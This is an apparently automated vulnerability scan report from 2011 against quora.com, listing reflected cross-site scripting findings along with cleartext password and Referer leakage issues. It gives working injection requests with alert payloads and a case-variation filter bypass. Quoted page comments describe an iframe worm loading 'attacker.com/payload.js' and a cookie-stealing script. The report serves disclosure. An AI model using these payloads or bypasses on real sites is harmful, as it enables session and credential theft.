XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, quora.com

Report generated by XSS.CX at Fri Oct 14 07:11:17 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. Cross-site scripting (reflected)

1.1. http://www.quora.com/XSS [q parameter]

1.2. http://www.quora.com/ajax/full_navigator_results [___W2_parentId parameter]

1.3. http://www.quora.com/ajax/full_navigator_results [q parameter]

1.4. http://www.quora.com/up/tchannel3/updates [callback parameter]

2. Cleartext submission of password

2.1. http://www.quora.com/

2.2. http://www.quora.com/

3. Password field with autocomplete enabled

3.1. http://www.quora.com/

3.2. http://www.quora.com/

4. Cross-domain Referer leakage

5. Cross-domain script include

5.1. http://www.quora.com/

5.2. http://www.quora.com/%22http://d1vgw4v7ja2ido.cloudfront.net/-78c17c872cca0888.png/%22

5.3. http://www.quora.com/%5C%22http://d1vgw4v7ja2ido.cloudfront.net/-78c17c872cca0888.png%5C%22

5.4. http://www.quora.com/What-are-the-best-practices-to-avoid-XSS-and-SQL-Injections-attacks-platform-agnostics

5.5. http://www.quora.com/XSS

5.6. http://www.quora.com/about

5.7. http://www.quora.com/challenges

5.8. http://www.quora.com/t-15171

6. Email addresses disclosed



1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.quora.com/XSS [q parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.quora.com
Path:   /XSS

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 45002</ScRiPt%20><img%20src%3da%20onerror%3dalert(1)>9d29a858adc was submitted in the q parameter. This input was echoed as 45002</ScRiPt ><img src=a onerror=alert(1)>9d29a858adc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /XSS?q=xss+111+222+3345002</ScRiPt%20><img%20src%3da%20onerror%3dalert(1)>9d29a858adc HTTP/1.1
Host: www.quora.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.quora.com/challenges
Cookie: m-b=j564Qu5GUoDxPWJ792vJsw==; m-s=VlplhYUqVWntoS33kQHYLw==; m-tz=300; __utma=261736717.1380011670.1318593668.1318593668.1318593668.1; __utmb=261736717.3.10.1318593668; __utmc=261736717; __utmz=261736717.1318593668.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Server: PasteWSGIServer/0.5 Python/2.7.2
Date: Fri, 14 Oct 2011 12:04:18 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: private, no-store, max-age=0, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Content-Length: 410244

<!DOCTYPE html><html><head><title>XSS - Quora</title><script>
this.require||function(a,b,c){function q(){if(!i)try{while(g!==h&&p(g.next))i=g,g=g.next,g(g.require)}finally{i=0}}function require(a){if(
...[SNIP]...
layout:Header:5q/t8h01gxLrhZ",{}), new(LoginButton)("W4yJaok","",{},"cls:a.app.view.layout:LoginNavElement:XU/pcMW/zfI6BY",{}), new(FullNavigator)("vUIDizH","navigator",{"initialValue": "xss 111 222 3345002</ScRiPt ><img src=a onerror=alert(1)>9d29a858adc", "focusOnLoad": false, "callback": "", "open_add_question_dialog_on_load": false, "context": {}, "resultsQueryPath": "/ajax/full_navigator_results", "data": "{}", "minAutoFocusIndexLength": null},"cl
...[SNIP]...

1.2. http://www.quora.com/ajax/full_navigator_results [___W2_parentId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.quora.com
Path:   /ajax/full_navigator_results

Issue detail

The value of the ___W2_parentId request parameter is copied into the HTML document as plain text between tags. The payload 65afd<ScRiPt>alert(1)</ScRiPt>23ea6fb3a14 was submitted in the ___W2_parentId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /ajax/full_navigator_results?q=x&data=%7B%7D&___W2_parentId=hXFlCA265afd<ScRiPt>alert(1)</ScRiPt>23ea6fb3a14&___W2_windowId=dep3-1121893065310853474 HTTP/1.1
Host: www.quora.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
x-requested-with: XMLHttpRequest
Referer: http://www.quora.com/challenges
Cookie: m-b=j564Qu5GUoDxPWJ792vJsw==; m-s=VlplhYUqVWntoS33kQHYLw==; m-tz=300; __utma=261736717.1380011670.1318593668.1318593668.1318593668.1; __utmb=261736717.3.10.1318593668; __utmc=261736717; __utmz=261736717.1318593668.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Server: PasteWSGIServer/0.5 Python/2.7.2
Date: Fri, 14 Oct 2011 12:03:07 GMT
Pragma: no-cache
Cache-Control: no-cache
content-type: application/json; charset=utf-8
Content-Length: 5448

{"html": "<div class=\"results_frame\" id=\"__w2_CxYxb2T_results_frame\"><ul id=\"__w2_CxYxb2T_results_list\"><li class=\"topic\" id=\"__w2_CxYxb2T_list_item_0\"><a class=\"result_item\" href=\"/Xbox?
...[SNIP]...
</div>", "css": "", "js": "W2.addComponentMetadata({parents: {\"CxYxb2T\": \"hXFlCA265afd<ScRiPt>alert(1)</ScRiPt>23ea6fb3a14\"}, children: {\"hXFlCA265afd<ScRiPt>
...[SNIP]...

1.3. http://www.quora.com/ajax/full_navigator_results [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.quora.com
Path:   /ajax/full_navigator_results

Issue detail

The value of the q request parameter is copied into the HTML document as plain text between tags. The payload 8abf9<img%20src%3da%20onerror%3dalert(1)>522bb711332 was submitted in the q parameter. This input was echoed as 8abf9<img src=a onerror=alert(1)>522bb711332 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /ajax/full_navigator_results?q=x8abf9<img%20src%3da%20onerror%3dalert(1)>522bb711332&data=%7B%7D&___W2_parentId=hXFlCA2&___W2_windowId=dep3-1121893065310853474 HTTP/1.1
Host: www.quora.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
x-requested-with: XMLHttpRequest
Referer: http://www.quora.com/challenges
Cookie: m-b=j564Qu5GUoDxPWJ792vJsw==; m-s=VlplhYUqVWntoS33kQHYLw==; m-tz=300; __utma=261736717.1380011670.1318593668.1318593668.1318593668.1; __utmb=261736717.3.10.1318593668; __utmc=261736717; __utmz=261736717.1318593668.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Server: PasteWSGIServer/0.5 Python/2.7.2
Date: Fri, 14 Oct 2011 12:02:51 GMT
Pragma: no-cache
Cache-Control: no-cache
content-type: application/json; charset=utf-8
Content-Length: 7650

{"html": "<div class=\"results_frame\" id=\"__w2_hXP97Wb_results_frame\"><ul id=\"__w2_hXP97Wb_results_list\"><li class=\"user\" id=\"__w2_hXP97Wb_list_item_0\"><a class=\"result_item\" href=\"/Nacim-
...[SNIP]...
</span>\", \"type\": \"addquestionitem\", \"id\": null}], \"actionType\": \"url\", \"numMatches\": 8, \"query\": \"x8abf9<img src=a onerror=alert(1)>522bb711332\", \"contextTid\": 0, \"matchTargetsJson\": \"[{\\\"type\\\": \\\"user\\\", \\\"uid\\\": 1383305}, {\\\"tid\\\": 21436, \\\"type\\\": \\\"topic\\\"}, {\\\"tid\\\": 11678, \\\"type\\\": \\\"topic\\\"},
...[SNIP]...

1.4. http://www.quora.com/up/tchannel3/updates [callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.quora.com
Path:   /up/tchannel3/updates

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 65f02<script>alert(1)</script>384ba14feae was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /up/tchannel3/updates?min_seq=97636366&channel=main-w-dep12-3206737196952293504&timeout=2000&callback=jsonp133024eae9bfb59757da649d865f02<script>alert(1)</script>384ba14feae HTTP/1.1
Host: www.quora.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.quora.com/
Cookie: m-b=j564Qu5GUoDxPWJ792vJsw==; m-s=VlplhYUqVWntoS33kQHYLw==; m-tz=300; __utma=261736717.1380011670.1318593668.1318593668.1318593668.1; __utmb=261736717.1.10.1318593668; __utmc=261736717; __utmz=261736717.1318593668.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Content-Length: 110
Etag: "76ffe57ffdeba8e53065ea650dee25ad0a8253aa"
Content-Type: text/javascript; charset=UTF-8
Server: TornadoServer/1.2.1

jsonp133024eae9bfb59757da649d865f02<script>alert(1)</script>384ba14feae({"messages": [], "min_seq": 97636591})

2. Cleartext submission of password  previous  next
There are 2 instances of this issue:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.


2.1. http://www.quora.com/  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.quora.com
Path:   /

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

GET / HTTP/1.1
Host: www.quora.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Server: PasteWSGIServer/0.5 Python/2.7.2
Date: Fri, 14 Oct 2011 12:00:38 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: private, no-store, max-age=0, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Content-Length: 19452

<!DOCTYPE html><html><head><title>Quora</title><script>
this.require||function(a,b,c){function q(){if(!i)try{while(g!==h&&p(g.next))i=g,g=g.next,g(g.require)}finally{i=0}}function require(a){if(!f[a])
...[SNIP]...
<div class="w3_5 p1"><form class="row w2_5 col inline_login_form" method="POST" id="__w2_xyvPhd9_login_form"><div class="form_inputs">
...[SNIP]...
</label><input class="text" group="__w2_xyvPhd9_interaction" type="password" name="password" w2cid="xyvPhd9" id="__w2_xyvPhd9_password" /><span class="hidden input_validation_error_text" id="__w2_xyvPhd9_incorrect_password_error">
...[SNIP]...

2.2. http://www.quora.com/  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.quora.com
Path:   /

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

GET / HTTP/1.1
Host: www.quora.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Server: PasteWSGIServer/0.5 Python/2.7.2
Date: Fri, 14 Oct 2011 12:00:38 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: private, no-store, max-age=0, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Content-Length: 19452

<!DOCTYPE html><html><head><title>Quora</title><script>
this.require||function(a,b,c){function q(){if(!i)try{while(g!==h&&p(g.next))i=g,g=g.next,g(g.require)}finally{i=0}}function require(a){if(!f[a])
...[SNIP]...
<div class="col w4 signup_form"><form class="w3" action="/signup/signup_POST" method="POST" id="__w2_uMdqnEs_form"><input type="hidden" name="formkey" value="f0c4abeefb33d5242a630917f4debf36" />
...[SNIP]...
</label><input class="text" group="__w2_uMdqnEs_interaction" type="password" name="password" w2cid="uMdqnEs" id="__w2_uMdqnEs_password" /><div class="hidden __w2_fr74spY_invalid input_validation_error_text" id="__w2_fr74spY_invalid_message">
...[SNIP]...

3. Password field with autocomplete enabled  previous  next
There are 2 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


3.1. http://www.quora.com/  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.quora.com
Path:   /

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET / HTTP/1.1
Host: www.quora.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Server: PasteWSGIServer/0.5 Python/2.7.2
Date: Fri, 14 Oct 2011 12:00:38 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: private, no-store, max-age=0, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Content-Length: 19452

<!DOCTYPE html><html><head><title>Quora</title><script>
this.require||function(a,b,c){function q(){if(!i)try{while(g!==h&&p(g.next))i=g,g=g.next,g(g.require)}finally{i=0}}function require(a){if(!f[a])
...[SNIP]...
<div class="col w4 signup_form"><form class="w3" action="/signup/signup_POST" method="POST" id="__w2_uMdqnEs_form"><input type="hidden" name="formkey" value="f0c4abeefb33d5242a630917f4debf36" />
...[SNIP]...
</label><input class="text" group="__w2_uMdqnEs_interaction" type="password" name="password" w2cid="uMdqnEs" id="__w2_uMdqnEs_password" /><div class="hidden __w2_fr74spY_invalid input_validation_error_text" id="__w2_fr74spY_invalid_message">
...[SNIP]...

3.2. http://www.quora.com/  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.quora.com
Path:   /

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET / HTTP/1.1
Host: www.quora.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Server: PasteWSGIServer/0.5 Python/2.7.2
Date: Fri, 14 Oct 2011 12:00:38 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: private, no-store, max-age=0, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Content-Length: 19452

<!DOCTYPE html><html><head><title>Quora</title><script>
this.require||function(a,b,c){function q(){if(!i)try{while(g!==h&&p(g.next))i=g,g=g.next,g(g.require)}finally{i=0}}function require(a){if(!f[a])
...[SNIP]...
<div class="w3_5 p1"><form class="row w2_5 col inline_login_form" method="POST" id="__w2_xyvPhd9_login_form"><div class="form_inputs">
...[SNIP]...
</label><input class="text" group="__w2_xyvPhd9_interaction" type="password" name="password" w2cid="xyvPhd9" id="__w2_xyvPhd9_password" /><span class="hidden input_validation_error_text" id="__w2_xyvPhd9_incorrect_password_error">
...[SNIP]...

4. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.quora.com
Path:   /XSS

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /XSS?q=xss+111+222+33 HTTP/1.1
Host: www.quora.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.quora.com/challenges
Cookie: m-b=j564Qu5GUoDxPWJ792vJsw==; m-s=VlplhYUqVWntoS33kQHYLw==; m-tz=300; __utma=261736717.1380011670.1318593668.1318593668.1318593668.1; __utmb=261736717.3.10.1318593668; __utmc=261736717; __utmz=261736717.1318593668.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Server: PasteWSGIServer/0.5 Python/2.7.2
Date: Fri, 14 Oct 2011 12:02:12 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: private, no-store, max-age=0, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Content-Length: 404539

<!DOCTYPE html><html><head><title>XSS - Quora</title><script>
this.require||function(a,b,c){function q(){if(!i)try{while(g!==h&&p(g.next))i=g,g=g.next,g(g.require)}finally{i=0}}function require(a){if(
...[SNIP]...
</script>
<script src="http://d1zlmuwse3cba4.cloudfront.net/-ba0e967719141bc7.js"></script>
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="http://www.quora.com/XSS/rss" /><link href='http://d1zlmuwse3cba4.cloudfront.net/-4de74ce3d38bbb60.css' rel='stylesheet' type='text/css' /><link href='http://d1zlmuwse3cba4.cloudfront.net/-034119fab539cd04.css' rel='stylesheet' type='text/css' /></head>
...[SNIP]...
<a href="/XSS"><img class="profile_photo_img" src="http://d1vgw4v7ja2ido.cloudfront.net/-558adef11c098083.gif" width="100" alt="XSS" height="100" /></a>
...[SNIP]...
<br />[1] <a href="https://www.owasp.org/" rel="nofollow" target="_blank" class="external_link">https://www.owasp.org/</a><br />[2] <a href="https://www.owasp.org/index.php/Category:OWASP_Guide_Project" rel="nofollow" target="_blank" class="external_link">https://www.owasp.org/ind<wbr />
...[SNIP]...
<br />[3] <a href="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project" rel="nofollow" target="_blank" class="external_link">https://www.owasp.org/ind<wbr />
...[SNIP]...
<a href="/John-Kinsella" routing="q://user/(720369)"><img class="profile_photo_img comment_image" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-720369-25-ZRetVs6bXZTK4Y78xuMOp8cYRM1e1qXl.jpeg" width="25" alt="John Kinsella" height="25" /></a>
...[SNIP]...
</div>Allowing IFRAMEs can let an attacker turn a reflected XSS vulnerability into a persistent one, which can make it much more wormable. (See <a href="http://en.wikipedia.org/wiki/Cross-site_scripting#Types" rel="nofollow" target="_blank" class="external_link">http://en.wikipedia.org/w<wbr />
...[SNIP]...
<div id="ld_bYUvYp_321">Allowing IFRAMEs can let an attacker turn a reflected XSS vulnerability into a persistent one, which can make it much more wormable. (See <a href="http://en.wikipedia.org/wiki/Cross-site_scripting#Types" rel="nofollow" target="_blank" class="external_link">http://en.wikipedia.org/w<wbr />
...[SNIP]...
<a href="/Daniel-Miller-7" routing="q://user/(2067952)"><img class="profile_photo_img comment_image" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-2067952-25-HuTMgaE5AccZiI6t5FnXJGKNhVCkc3VL.jpeg" width="25" alt="Daniel Miller" height="25" /></a>
...[SNIP]...
<a href="/David-Bloom-2" routing="q://user/(339614)"><img class="profile_photo_img comment_image" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-339614-25-21KPQfcNWDFWpsasZ3UEpB5nxDtQhTT1.jpeg" width="25" alt="David Bloom" height="25" /></a>
...[SNIP]...
</div>Let&#039;s say that <a href="http://foo.com" rel="nofollow" target="_blank" class="external_link">foo.com</a>
...[SNIP]...
<br />1. Attacker inserts iframe into own profile, pointing to <a href="http://www.foo.com/search?q=&lt;script" rel="nofollow" target="_blank" class="external_link">http://www.foo.com/search<wbr />
...[SNIP]...
</a> src=&quot;<a href="http://attacker.com/payload.js" rel="nofollow" target="_blank" class="external_link">http://attacker.com/<wbr />
...[SNIP]...
<br />2. Visitor opens attacker&#039;s profile. The iframe runs the reflected XSS attack on <a href="http://foo.com" rel="nofollow" target="_blank" class="external_link">foo.com</a>.<br />3. The attacker&#039;s script, now running in the <a href="http://foo.com" rel="nofollow" target="_blank" class="external_link">foo.com</a> origin, adds the iframe to the visitor&#039;s <a href="http://foo.com" rel="nofollow" target="_blank" class="external_link">foo.com</a>
...[SNIP]...
<a href="/Mathias-Karlsson" routing="q://user/(167251)"><img class="profile_photo_img comment_image" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-167251-25-YBfI83BhqZXNGsxjtXFi0jo0qcAaMNMF.jpeg" width="25" alt="Mathias Karlsson" height="25" /></a>
...[SNIP]...
<a href="/Rob-Smith-16" routing="q://user/(2297584)"><img class="profile_photo_img comment_image" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-2297584-25-lAXuGEjcnYkwUZXj3uoj4u5Zez099kFs.jpeg" width="25" alt="Rob Smith" height="25" /></a>
...[SNIP]...
</div>Take <a href="https://grepular.com/Abusing_HTTP_Status_Codes_to_Expose_Private_Information" rel="nofollow" target="_blank" class="external_link">https://grepular.com/Abus<wbr />
...[SNIP]...
<br /><a href="http://code.google.com/p/chromium/issues/detail?id=73670" rel="nofollow" target="_blank" class="external_link">http://code.google.com/p/<wbr />
...[SNIP]...
<br /><a href="http://diveintomark.org/archives/2003/06/12/how_to_consume_rss_safely" rel="nofollow" target="_blank" class="external_link">http://diveintomark.org/a<wbr />
...[SNIP]...
9;t filter user input properly, whether in a form field, a URL parameter, poor use of header information, and several others. I have an in depth article on what it is, how to detect it and prevent it: <a href="https://www.golemtechnologies.com/articles/prevent-xss" rel="nofollow" target="_blank" class="external_link">https://www.golemtechnolo<wbr />
...[SNIP]...
<br /><a href="http://www.phpclasses.org/package/5614-PHP-Parse-and-filter-insecure-HTML-tags-and-CSS-styles.html" rel="nofollow" target="_blank" class="external_link">http://www.phpclasses.org<wbr />
...[SNIP]...
<a href="/Justin-Cormack" routing="q://user/(429212)"><img class="profile_photo_img comment_image" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-429212-25-MM8FzGX1mWTnF9HJJNo9CHOOpgjZSPII.jpeg" width="25" alt="Justin Cormack" height="25" /></a>
...[SNIP]...
<a href="/Justin-Cormack" routing="q://user/(429212)"><img class="profile_photo_img comment_image" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-429212-25-MM8FzGX1mWTnF9HJJNo9CHOOpgjZSPII.jpeg" width="25" alt="Justin Cormack" height="25" /></a>
...[SNIP]...
<br />So it&#039;s very simple, it just collects cookies and sends them to some script running at &quot;<a href="http://typpo.us" rel="nofollow" target="_blank" class="external_link">typpo.us</a>
...[SNIP]...
<a href="/Zachary-Miller" routing="q://user/(1904104)"><img class="profile_photo_img comment_image" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-1904104-25-xT6MVaCciMLxCaHYscdiu0jySq5Vx1zp.jpeg" width="25" alt="Zachary Miller" height="25" /></a>
...[SNIP]...
<a href="/Marcel-Laverdet" routing="q://user/(493)"><img class="profile_photo_img comment_image" src="http://d1vgw4v7ja2ido.cloudfront.net/-78c17c872cca0888.png" width="25" alt="Marcel Laverdet" height="25" /></a>
...[SNIP]...
<a href="/Marcel-Laverdet" routing="q://user/(493)"><img class="profile_photo_img" src="http://d1vgw4v7ja2ido.cloudfront.net/-78c17c872cca0888.png" width="25" alt="Marcel Laverdet" height="25" /></a>
...[SNIP]...
